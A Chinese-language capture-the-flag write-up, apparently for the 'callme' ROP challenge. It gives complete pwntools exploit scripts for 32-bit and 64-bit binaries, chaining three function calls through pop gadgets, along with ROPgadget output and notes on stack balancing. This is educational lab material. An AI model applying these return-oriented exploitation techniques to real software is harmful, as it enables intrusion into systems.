溢出点还是一样,不过现在程序 没有system函数,flag也不是直接cat flag.txt得到,而是通过callme_one,callme_two,callme_three三个函数的调用计算得到,我们看一下.so文件
image.png
这里要求传入的三个参数为1,2,3,接下来写exp
这里需要注意,因为要连续调用3个函数,所以需要注意callme_one调用完了之后的返回地址不能再向前两道一样随便写p32(0)了,这里是为了保持栈的平衡,callme_one执行完之后 要把它的三个参数1,2,3弹出去,esp才能指向p32(callme_two)
from pwn import *
sh = process('./callme32')
pop3_ret = 0x80488a9
callme_one = 0x080485C0
callme_two = 0x08048620
callme_three = 0x080485B0
payload = ""
payload += "a" * 0x28 + p32(0)
payload += p32(callme_one) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_two) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_three) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
sh.sendline(payload)
sh.interactive()
payload += p32(callme_one) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
其中的pop3_ret 是为了把 p32(1) + p32(2) + p32(3)弹出栈,最后一个ret指令相当于pop eip
也就是把栈顶的内容传给eip,从而改变执行流程,在执行完三次pop后,esp已经指向p32(callme_two),这样就可以接着去指向第二段rop从而顺利调用callme_two(1,2,3)
pop
pop
pop
ret
地址可以用objdump找到
image.png
如果对此不太好理解的话,可以进入gdb一步步跟着调试,可以看清楚具体的流程
image.png image.png
只有将1,2,3pop出去esp才能指向callme_two。
64位程序 ,就不需要栈平衡了,在64位下,前6个参数通过rdi,rsi,rdx,rcx,r8,r9传递,所以需要找到pop rdi;pop rsi ;pop rdx ret 的gadget
可以用 objdump -d callme | grep -A 3 pop找到
也可以用ROPgadget --binary ./callme --only "pop|ret"
Gadgets information
============================================================
0x0000000000401b1c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b1e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b20 : pop r14 ; pop r15 ; ret
0x0000000000401b22 : pop r15 ; ret
0x0000000000401b1b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b1f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401900 : pop rbp ; ret
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret
0x0000000000401ab2 : pop rdx ; ret
0x0000000000401b21 : pop rsi ; pop r15 ; ret
0x0000000000401ab1 : pop rsi ; pop rdx ; ret
0x0000000000401b1d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004017d9 : ret
exp:
from pwn import *
sh = process('./callme')
callme_one = 0x401850
callme_two = 0x401870
callme_three = 0x401810
# pop_rdi = 0x401b23
# pop_rsi_rdx = 0x401ab1
pop_rdi_rsi_rdx_ret = 0x401ab0
payload = ""
payload += 'a' * 0x20 + p64(0)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_one)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_two)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_three)
payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_one)
payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_two)
payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_three)
sh.sendline(payload)
sh.interactive()
网友评论